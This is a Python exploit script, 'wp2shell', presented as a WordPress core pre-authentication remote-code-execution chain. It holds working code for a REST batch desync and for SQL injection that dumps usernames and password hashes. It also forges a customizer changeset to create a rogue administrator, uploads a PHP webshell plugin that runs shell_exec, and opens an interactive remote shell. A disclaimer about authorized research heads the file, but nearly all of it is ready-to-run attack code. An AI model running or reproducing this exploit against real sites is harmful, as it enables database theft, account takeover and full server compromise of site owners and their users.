WordPresShell.py

#!/usr/bin/env python3
"""
wp2shell — CVE-2026-63030 + CVE-2026-60137 : WordPress core pre-auth RCE.

Our own single-file, stdlib-only implementation of the full crack-free chain,
built from the disclosed mechanics (Adam Kues / Searchlight; public PoCs by
Icex0, sergiointel, 0xsha). Everything below is WordPress CORE — no plugin,
no gadget, no hash cracking.

Chain
-----
1. REST /batch/v1 array desync (CVE-2026-63030): a malformed sub-request de-syncs
   $matches from $validation so a sub-request runs under the NEXT one's handler.
2. Nested twice, this smuggles a raw string `author_exclude` into WP_Query
   `author__not_in` (CVE-2026-60137) at the public `get_items` handler → SQLi:
       ... post_author NOT IN (<injection>) ...
3. Because the query has orderby=none and per_page is large, a UNION survives and
   returns attacker-fabricated rows as fake WP_Post objects (in-band UNION).
4. Crack-free admin creation: render a seed post with self-oEmbed shortcodes so
   core writes real `oembed_cache` posts; then forge a `customize_changeset`
   (owning user_id = an existing administrator) + `nav_menu_item` graph over those
   cache IDs, and append POST /wp/v2/users {roles:[administrator]} in the same
   batch. The customizer runs the changeset as the borrowed admin → a fresh admin
   is created. No password hash needed.
5. Log in as the new admin → upload a token-gated webshell plugin (core feature)
   → command execution.

Preconditions (all default): REST reachable, NO persistent object cache, >=1 post.
Affected 6.9.0-6.9.4 / 7.0.0-7.0.1. Fixed 6.9.5 / 7.0.2.

AUTHORIZED SECURITY RESEARCH ONLY. Creates an administrator and drops a webshell;
clean both up afterwards.
"""
from __future__ import annotations

import argparse
import hashlib
import http.cookiejar
import io
import json
import re
import secrets
import shlex
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
import uuid
import zipfile
from dataclasses import dataclass
from typing import Any, Dict, List, Optional, Tuple

_PRIMER = {"method": "POST", "path": "///"}          # wp_parse_url() rejects -> WP_Error -> desync
_POST_DATE = "2020-01-01 00:00:00"
_OEMBED_ARGS = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
_MARKER_CODES = ("parse_path_failed", "block_cannot_read", "rest_batch_not_allowed")
_SH = "WP2SHELL"
_CWD = "__wp2cwd__"
_TTY = sys.stdout.isatty()


def _c(code: str, t: str) -> str:
    return f"\033[{code}m{t}\033[0m" if _TTY else t
def info(m): print(f"[*] {m}")
def good(m): print(_c("32", f"[+] {m}"))
def bad(m):  print(_c("31", f"[-] {m}"))
def warn(m): print(_c("33", f"[!] {m}"))
def _hex(t: str) -> str: return "''" if t == "" else "0x" + t.encode().hex()  # 0x with no digits is a MySQL syntax error


# ───────────────────────────── HTTP + batch payloads ─────────────────────────
class Client:
    def __init__(self, base: str, *, timeout: float = 30.0, rest_route: Optional[bool] = None):
        self.base = base.rstrip("/")
        self.timeout = timeout
        self.rest_route = rest_route
        self._opener = urllib.request.build_opener()
        self._opener.addheaders = [("User-Agent", "wp2shell")]

    def _endpoint(self, rr: bool) -> str:
        return f"{self.base}/?rest_route=/batch/v1" if rr else f"{self.base}/wp-json/batch/v1"

    def resolve(self) -> None:
        if self.rest_route is not None:
            return
        for rr in (False, True):
            try:
                r = self._raw(self._endpoint(rr), {"requests": []})
                if r.status == 200:
                    self.rest_route = rr
                    return
            except OSError:
                pass
        self.rest_route = True

    def _raw(self, url: str, payload: dict) -> "Resp":
        req = urllib.request.Request(url, data=json.dumps(payload).encode(),
                                     headers={"Content-Type": "application/json",
                                              "Accept": "application/json"}, method="POST")
        t = time.monotonic()
        try:
            r = self._opener.open(req, timeout=self.timeout)
            return Resp(r.status, time.monotonic() - t, r.read().decode("utf-8", "replace"))
        except urllib.error.HTTPError as e:
            return Resp(e.code, time.monotonic() - t, e.read().decode("utf-8", "replace"))

    def post(self, payload: dict) -> "Resp":
        self.resolve()
        return self._raw(self._endpoint(self.rest_route), payload)

    def rest_get(self, route: str, query: Dict[str, str]) -> Any:
        self.resolve()
        if self.rest_route:
            url = f"{self.base}/?" + urllib.parse.urlencode({"rest_route": route, **query})
        else:
            url = f"{self.base}/wp-json{route}?" + urllib.parse.urlencode(query)
        r = self._opener.open(urllib.request.Request(url), timeout=self.timeout)
        return json.loads(r.read().decode("utf-8", "replace"))

    # --- the double-nested desync that reaches WP_Query author__not_in --------
    @staticmethod
    def _nested(inner_requests: List[dict]) -> dict:
        # outer: a posts request carrying the inner batch as its body is desynced onto the batch
        # handler, so the inner requests are never method-enum-checked (may use GET).
        return {"requests": [
            _PRIMER,
            {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": inner_requests}},
            {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
        ]}

    def inject(self, author_not_in: str) -> "Resp":
        enc = urllib.parse.quote(author_not_in, safe="")
        inner = [_PRIMER,
                 {"method": "GET", "path": f"/wp/v2/users?author_exclude={enc}"},  # unsanitized here
                 {"method": "GET", "path": "/wp/v2/posts"}]                         # desynced onto get_items
        return self.post(self._nested(inner))

    def union_inject(self, author_not_in: str) -> "Resp":
        # single-post item route validates the collection-only params as unknown, so they pass
        # unsanitized; orderby=none drops ORDER BY and per_page=500 keeps full-row mode -> UNION survives.
        q = urllib.parse.urlencode({"author_exclude": author_not_in, "orderby": "none", "per_page": "500"})
        inner = [_PRIMER,
                 {"method": "GET", "path": "/wp/v2/posts/999999?" + q},
                 {"method": "GET", "path": "/wp/v2/posts"}]
        return self.post(self._nested(inner))

    def render_union(self, rows: List[str], tail: Optional[List[dict]] = None) -> "Resp":
        union = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(rows) + " -- -"
        q = urllib.parse.urlencode({"author_exclude": union, "per_page": "-1",
                                    "orderby": "none", "context": "view"})
        inner = [_PRIMER,
                 {"method": "GET", "path": "/wp/v2/widgets?" + q},
                 {"method": "GET", "path": "/wp/v2/posts"}]
        if tail:
            inner.extend(tail)
        old, self.timeout = self.timeout, max(self.timeout, 60)
        try:
            return self.post(self._nested(inner))
        finally:
            self.timeout = old

    @staticmethod
    def rows(resp: "Resp") -> Optional[list]:
        try:
            body = resp.json()["responses"][1]["body"]["responses"][1]["body"]
        except (KeyError, IndexError, TypeError, ValueError):
            return None
        return body if isinstance(body, list) else None

    def confusion(self) -> bool:
        r = self.post({"requests": [
            _PRIMER,
            {"method": "POST", "path": "/wp/v2/posts"},
            {"method": "POST", "path": "/wp/v2/block-renderer/core/archives"},
            {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
        ]})
        codes = set()
        _walk(r.body and _safe(r), codes)
        return all(c in codes for c in _MARKER_CODES)


@dataclass
class Resp:
    status: int
    elapsed: float
    body: str
    def json(self) -> Any: return json.loads(self.body)


def _safe(r: Resp):
    try: return r.json()
    except ValueError: return {}
def _walk(v, out):
    if isinstance(v, dict):
        if v.get("code") in _MARKER_CODES: out.add(v["code"])
        for x in v.values(): _walk(x, out)
    elif isinstance(v, list):
        for x in v: _walk(x, out)


# ───────────────────────────── SQL injection oracles ─────────────────────────
class BlindSQLi:
    """Content-based blind: get_items() returns rows only when the boolean holds."""
    def __init__(self, client: Client): self.client = client; self.requests = 0

    def confirm(self) -> bool:
        return self._true("1=1") and not self._true("1=2")

    def _true(self, cond: str) -> bool:
        self.requests += 1
        return bool(self.client.rows(self.client.inject(f"0) AND ({cond})-- -")))

    def extract(self, expr: str, *, max_length: int = 128, on_char=None) -> str:
        out = []
        for pos in range(1, max_length + 1):
            probe = f"ASCII(SUBSTRING(COALESCE(({expr}),''),{pos},1))"
            if not self._true(f"{probe} > 0"):
                break
            lo, hi = 32, 126
            while lo < hi:
                mid = (lo + hi) // 2
                if self._true(f"{probe} > {mid}"): lo = mid + 1
                else: hi = mid
            out.append(chr(lo))
            if on_char: on_char("".join(out))
        return "".join(out)

    def integer(self, expr: str) -> int:
        t = self.extract(f"SELECT ({expr})").strip()
        if not t.lstrip("-").isdigit():
            raise ValueError(f"expected int from {expr!r}, got {t!r}")
        return int(t)


class UnionSQLi:
    """In-band: forge one fake wp_posts row, read its reflected post_title in one request."""
    _COLUMNS, _TITLE_COL = 23, 6
    _RE = re.compile(r"\|\|([0-9A-Fa-f]*)\|\|")
    _PUBLISH, _POST = _hex("publish"), _hex("post")
    _DATE = _hex(_POST_DATE)

    def __init__(self, client: Client): self.client = client; self.requests = 0

    def available(self) -> bool:
        return self._read("SELECT 0x4f4b") == "OK"

    def extract(self, expr: str) -> str:
        return self._read(expr) or ""

    def integer(self, expr: str) -> int:
        t = (self._read(f"SELECT ({expr})") or "").strip()
        if not t.lstrip("-").isdigit():
            raise ValueError(f"expected int from {expr!r}, got {t!r}")
        return int(t)

    def _read(self, expr: str) -> Optional[str]:
        self.requests += 1
        resp = self.client.union_inject(f"0) UNION SELECT {self._cols(expr)}-- -")
        m = self._RE.search(resp.body)
        if not m:
            return None
        digits = m.group(1)
        if len(digits) % 2:
            digits = digits[:-1]
        try:
            return bytes.fromhex(digits).decode("utf-8", "replace")
        except ValueError:
            return None

    def _cols(self, expr: str) -> str:
        cols = []
        for i in range(1, self._COLUMNS + 1):
            if i == 1: cols.append("999999")
            elif i in (3, 4, 15, 16): cols.append(self._DATE)
            elif i == self._TITLE_COL: cols.append(f"CONCAT(0x7c7c,HEX(CAST(({expr})AS CHAR)),0x7c7c)")
            elif i == 8: cols.append(self._PUBLISH)
            elif i == 21: cols.append(self._POST)
            else: cols.append(str(i))
        return ",".join(cols)


# ───────────────────────── crack-free pre-auth admin creation ────────────────
def _post_row(row_id: int, *, body="", title="", status="publish", slug="",
              parent=0, kind="post", author=1) -> str:
    # 23 wp_posts columns, in order.
    return ",".join([
        str(row_id), str(author), _hex(_POST_DATE), _hex(_POST_DATE), _hex(body), _hex(title),
        "''", _hex(status), _hex("closed"), _hex("closed"), "''", _hex(slug), "''", "''",
        _hex(_POST_DATE), _hex(_POST_DATE), "''", str(parent), "''", "0", _hex(kind), "''", "0",
    ])


@dataclass
class CreatedAdmin:
    username: str
    password: str
    email: str
    source_admin_id: int


class AdminCreator:
    _NAV_URL = "https://example.invalid/"

    def __init__(self, client: Client):
        self.client = client

    def create(self) -> CreatedAdmin:
        u = UnionSQLi(self.client)
        if not u.available():
            raise RuntimeError("UNION fake-post primitive unavailable (patched, or object cache on)")
        nonce = secrets.token_hex(6)
        prefix = self._prefix(u)
        admin_id = self._admin_id(u, prefix)
        embeds = self._loopback_urls(nonce)
        self._prime_oembed(embeds)                         # core writes real oembed_cache posts
        backing = self._oembed_ids(u, f"{prefix}posts", embeds)

        name = f"wp2_{nonce}"
        pwd = f"Wp2!{secrets.token_urlsafe(15)}"
        email = f"{name}@wp2shell.invalid"
        graph = _PoisonGraph(backing, admin_id)
        rows = graph.rows(self._changeset(graph.nav_item_id, admin_id), embeds[1])
        body = {"username": name, "password": pwd, "email": email, "roles": ["administrator"]}
        self.client.render_union(rows, tail=[
            {"method": "POST", "path": "/wp/v2/users", "body": body},
            {"method": "POST", "path": "/wp/v2/users", "body": body},
        ])
        return CreatedAdmin(name, pwd, email, admin_id)

    def _prefix(self, u: UnionSQLi) -> str:
        t = u.extract("SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() "
                      "AND RIGHT(TABLE_NAME,6)=0x5f706f737473 ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1")
        if not re.fullmatch(r"[A-Za-z0-9_$]+", t or ""):
            raise RuntimeError("could not recover wp_posts table name")
        return t[:-5]

    def _admin_id(self, u: UnionSQLi, prefix: str) -> int:
        cap = _hex(prefix + "capabilities")
        ser = _hex('s:13:"administrator";b:1;')
        aid = u.integer(f"SELECT u.ID FROM `{prefix}users` u JOIN `{prefix}usermeta` m ON m.user_id=u.ID "
                        f"WHERE m.meta_key={cap} AND INSTR(m.meta_value,{ser})>0 ORDER BY u.ID LIMIT 1")
        if aid < 1:
            raise RuntimeError("no existing administrator found")
        return aid

    def _loopback_urls(self, nonce: str) -> List[str]:
        posts = self.client.rest_get("/wp/v2/posts", {"per_page": "1", "_fields": "link"})
        if not posts or not posts[0].get("link"):
            raise RuntimeError("no public post link for oEmbed seed")
        s = urllib.parse.urlsplit(posts[0]["link"])
        return [urllib.parse.urlunsplit((s.scheme, s.netloc, s.path, s.query, f"{nonce}{i}")) for i in range(3)]

    def _prime_oembed(self, embeds: List[str]) -> None:
        content = "".join(f'[embed width="500" height="750"]{u}[/embed]' for u in embeds)
        self.client.render_union([_post_row(0, body=content, title="seed", slug="seed")])

    def _oembed_ids(self, u: UnionSQLi, posts_table: str, embeds: List[str]) -> List[int]:
        ids = []
        for url in embeds:
            key = hashlib.md5((url + _OEMBED_ARGS).encode()).hexdigest()
            ids.append(u.integer(
                f"SELECT ID FROM `{posts_table}` WHERE post_type=0x6f656d6265645f6361636865 "
                f"AND post_name=0x{key.encode().hex()} ORDER BY ID DESC LIMIT 1"))
        if any(i < 1 for i in ids) or len(set(ids)) != 3:
            raise RuntimeError(f"could not recover 3 unique oEmbed cache IDs: {ids}")
        return ids

    def _changeset(self, nav_item_id: int, user_id: int) -> str:
        return json.dumps({f"nav_menu_item[{nav_item_id}]": {
            "type": "nav_menu_item", "user_id": user_id, "value": {
                "object_id": 0, "object": "", "menu_item_parent": 0, "position": 0, "type": "custom",
                "title": "generated", "url": self._NAV_URL, "target": "", "attr_title": "",
                "description": "", "classes": "", "xfn": "", "status": "publish",
                "nav_menu_term_id": 0, "_invalid": False}}}, separators=(",", ":"))


@dataclass
class _PoisonGraph:
    cache_ids: List[int]
    admin_id: int

    def __post_init__(self):
        self.outer_id = 1800000000 + secrets.randbelow(100000000)
        self.nav_item_id = self.outer_id + 1
        self.inner_id = self.outer_id + 2
        self.changeset_id, self.cache_id, self.request_id = self.cache_ids

    def rows(self, changeset: str, trigger_url: str) -> List[str]:
        return [
            _post_row(0, body=f'[embed width="500" height="750"]{trigger_url}[/embed]', title="trigger", slug="trigger"),
            _post_row(self.changeset_id, body=changeset, title="changeset", status="future",
                      slug=str(uuid.uuid4()), parent=self.outer_id, kind="customize_changeset"),
            _post_row(self.outer_id, body="outer", title="outer", status="draft", slug="outer", parent=self.changeset_id),
            _post_row(self.cache_id, title="cache", slug="cache", parent=self.changeset_id),
            _post_row(self.nav_item_id, body="nav", title="nav", slug="nav", parent=self.request_id, kind="nav_menu_item"),
            _post_row(self.request_id, body="parse", title="parse", status="parse", slug="parse", parent=self.inner_id, kind="request"),
            _post_row(self.inner_id, body="inner", title="inner", status="draft", slug="inner", parent=self.request_id),
        ]


# ───────────────────────────── authenticated webshell ────────────────────────
class AdminSession:
    def __init__(self, base: str, *, timeout: float = 25.0):
        self.base = base.rstrip("/")
        self.timeout = timeout
        self._slug = "wp2shell_" + secrets.token_hex(4)
        self._token = secrets.token_hex(16)
        self._jar = http.cookiejar.CookieJar()
        self._opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self._jar))
        self._opener.addheaders = [("User-Agent", "wp2shell")]

    def login(self, user: str, pw: str) -> bool:
        self._get("/wp-login.php")
        self._post("/wp-login.php", {"log": user, "pwd": pw, "wp-submit": "Log In",
                                     "redirect_to": f"{self.base}/wp-admin/", "testcookie": "1"})
        return any(c.name.startswith("wordpress_logged_in") for c in self._jar)

    def deploy(self) -> str:
        page = self._get("/wp-admin/plugin-install.php?tab=upload")
        nonce = self._nonce(page)
        if not nonce:
            raise RuntimeError("plugin-upload nonce not found (bad creds?)")
        body, ctype = self._multipart(
            {"_wpnonce": nonce, "_wp_http_referer": "/wp-admin/plugin-install.php?tab=upload",
             "install-plugin-submit": "Install Now"},
            {"pluginzip": (f"{self._slug}.zip", self._zip())})
        self._post("/wp-admin/update.php?action=upload-plugin", body, {"Content-Type": ctype})
        return f"/wp-content/plugins/{self._slug}/{self._slug}.php"

    def run(self, path: str, command: str) -> Optional[str]:
        out = self._get(f"{path}?" + urllib.parse.urlencode({"t": self._token, "c": command}))
        m = re.search(rf"{_SH}::(.*?)::END", out, re.S)
        return m.group(1) if m else None

    # helpers
    def _get(self, p): return self._opener.open(self.base + p, timeout=self.timeout).read().decode("utf-8", "replace")
    def _post(self, p, d, h=None):
        d = urllib.parse.urlencode(d).encode() if isinstance(d, dict) else d
        return self._opener.open(urllib.request.Request(self.base + p, data=d, headers=h or {}),
                                 timeout=self.timeout).read().decode("utf-8", "replace")

    def _zip(self) -> bytes:
        php = ("<?php\n/*\nPlugin Name: wp2shell\nDescription: PoC webshell. DELETE AFTER TESTING.\n*/\n"
               "chdir(__DIR__);\n"
               f"if (hash_equals('{self._token}',(string)($_GET['t']??'')) && isset($_GET['c'])) {{\n"
               f"    echo '{_SH}::' . shell_exec((string)$_GET['c']) . '::END';\n}}\n")
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
            z.writestr(f"{self._slug}/{self._slug}.php", php)
        return buf.getvalue()

    @staticmethod
    def _nonce(html: str) -> Optional[str]:
        m = (re.search(r'action="[^"]*action=upload-plugin".*?name="_wpnonce"[^>]*value="([0-9a-f]+)"', html, re.S)
             or re.search(r'name="_wpnonce"[^>]*value="([0-9a-f]+)"', html))
        return m.group(1) if m else None

    @staticmethod
    def _multipart(fields: Dict[str, str], files: Dict[str, Tuple[str, bytes]]) -> Tuple[bytes, str]:
        b = "----wp2shell" + uuid.uuid4().hex
        buf = io.BytesIO()
        for k, v in fields.items():
            buf.write(f"--{b}\r\nContent-Disposition: form-data; name=\"{k}\"\r\n\r\n{v}\r\n".encode())
        for k, (fn, data) in files.items():
            buf.write(f"--{b}\r\nContent-Disposition: form-data; name=\"{k}\"; filename=\"{fn}\"\r\n".encode())
            buf.write(b"Content-Type: application/octet-stream\r\n\r\n" + data + b"\r\n")
        buf.write(f"--{b}--\r\n".encode())
        return buf.getvalue(), f"multipart/form-data; boundary={b}"


def _repl(sess: AdminSession, path: str) -> None:
    pwd = sess.run(path, "pwd")
    if pwd is None:
        bad("webshell not responding"); return
    cwd = pwd.strip() or "/"
    info("interactive shell — 'exit' or Ctrl-D to quit")
    while True:
        try:
            line = input(_c("36", f"{cwd} $ "))
        except (EOFError, KeyboardInterrupt):
            print(); return
        cmd = line.strip()
        if not cmd: continue
        if cmd in ("exit", "quit"): return
        out = sess.run(path, f"cd {shlex.quote(cwd)} 2>/dev/null; {cmd}; printf '{_CWD}%s' \"$(pwd)\"")
        if out is None:
            bad("no response"); continue
        bodytext, mark, tail = out.rpartition(_CWD)
        if mark:
            cwd = tail.strip() or cwd; out = bodytext
        out = out.rstrip("\n")
        if out: print(out)


# ───────────────────────────────── CLI ───────────────────────────────────────
def cmd_check(a):
    c = Client(a.url, timeout=a.timeout)
    if c.confusion():
        good("VULNERABLE — batch route-confusion markers present")
    else:
        warn("route-confusion markers not detected")
    if BlindSQLi(c).confirm():
        good("SQL injection confirmed (content-based oracle)")
        return 0
    bad("SQLi not confirmed (patched?)")
    return 2


def cmd_dump(a):
    c = Client(a.url, timeout=a.timeout)
    s = BlindSQLi(c)
    if a.query:
        info(f"reading: {a.query}")
        print("   ", s.extract(a.query, on_char=(lambda v: _prog(v)) if _TTY else None)); _clear()
        return 0
    for label, expr in (("MySQL version", "SELECT @@version"),
                        ("DB user", "SELECT CURRENT_USER()"),
                        ("DB name", "SELECT DATABASE()")):
        good(f"{label}: {s.extract(expr)}")
    n = s.integer("SELECT COUNT(*) FROM wp_users")
    info(f"{n} user(s)")
    for off in range(n):
        good(s.extract(f"SELECT CONCAT_WS(0x7c,ID,user_login,user_pass) FROM wp_users ORDER BY ID LIMIT {off},1"))
    info(f"{s.requests} requests")
    return 0


def cmd_shell(a):
    if not a.cmd and not a.interactive:
        bad("specify --cmd or --interactive"); return 2
    c = Client(a.url, timeout=a.timeout)
    created = None
    if a.user and a.password:
        user, pw = a.user, a.password
        info(f"using supplied credentials for {user!r}")
    else:
        info("creating a fresh administrator pre-auth (no hash, no crack) ...")
        try:
            created = AdminCreator(c).create()
        except Exception as e:
            bad(f"pre-auth admin creation failed: {e}")
            warn("fall back with --user/--password (a cracked existing admin from `dump`).")
            return 1
        user, pw = created.username, created.password
        good(f"administrator created: {user} / {pw}  (borrowed admin id {created.source_admin_id})")
    warn("this uploads a webshell plugin to the target.")
    sess = AdminSession(a.url)
    info(f"authenticating as {user!r} ...")
    if not sess.login(user, pw):
        bad("login failed"); return 1
    good("authenticated")
    info("deploying webshell plugin ...")
    path = sess.deploy()
    good(f"webshell: {a.url.rstrip('/')}{path}")
    rc = 0
    if a.cmd:
        out = sess.run(path, a.cmd)
        if out is None:
            bad("no output (upload failed?)"); rc = 1
        else:
            print(); print(out.rstrip("\n")); print()
    if a.interactive:
        _repl(sess, path)
    warn(f"cleanup: delete {path}")
    if created:
        warn(f"cleanup: remove administrator {created.username!r}")
    return rc


def _prog(t): sys.stdout.write("\r\033[K    " + t); sys.stdout.flush()
def _clear():
    if _TTY: sys.stdout.write("\r\033[K"); sys.stdout.flush()


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-63030 wp2shell — WordPress core pre-auth RCE")
    sub = ap.add_subparsers(dest="mode", required=True)
    for name in ("check", "dump", "shell"):
        p = sub.add_parser(name)
        p.add_argument("url")
        p.add_argument("--timeout", type=float, default=30.0)
    # dump extras
    for p in sub._name_parser_map.values():
        pass
    sub.choices["dump"].add_argument("--query", help='scalar SQL, e.g. "SELECT @@version"')
    sub.choices["shell"].add_argument("--cmd", help="command to run")
    sub.choices["shell"].add_argument("-i", "--interactive", action="store_true")
    sub.choices["shell"].add_argument("--user", help="existing admin (skip pre-auth creation)")
    sub.choices["shell"].add_argument("--password", help="existing admin password")
    a = ap.parse_args()
    return {"check": cmd_check, "dump": cmd_dump, "shell": cmd_shell}[a.mode](a)


if __name__ == "__main__":
    sys.exit(main() or 0)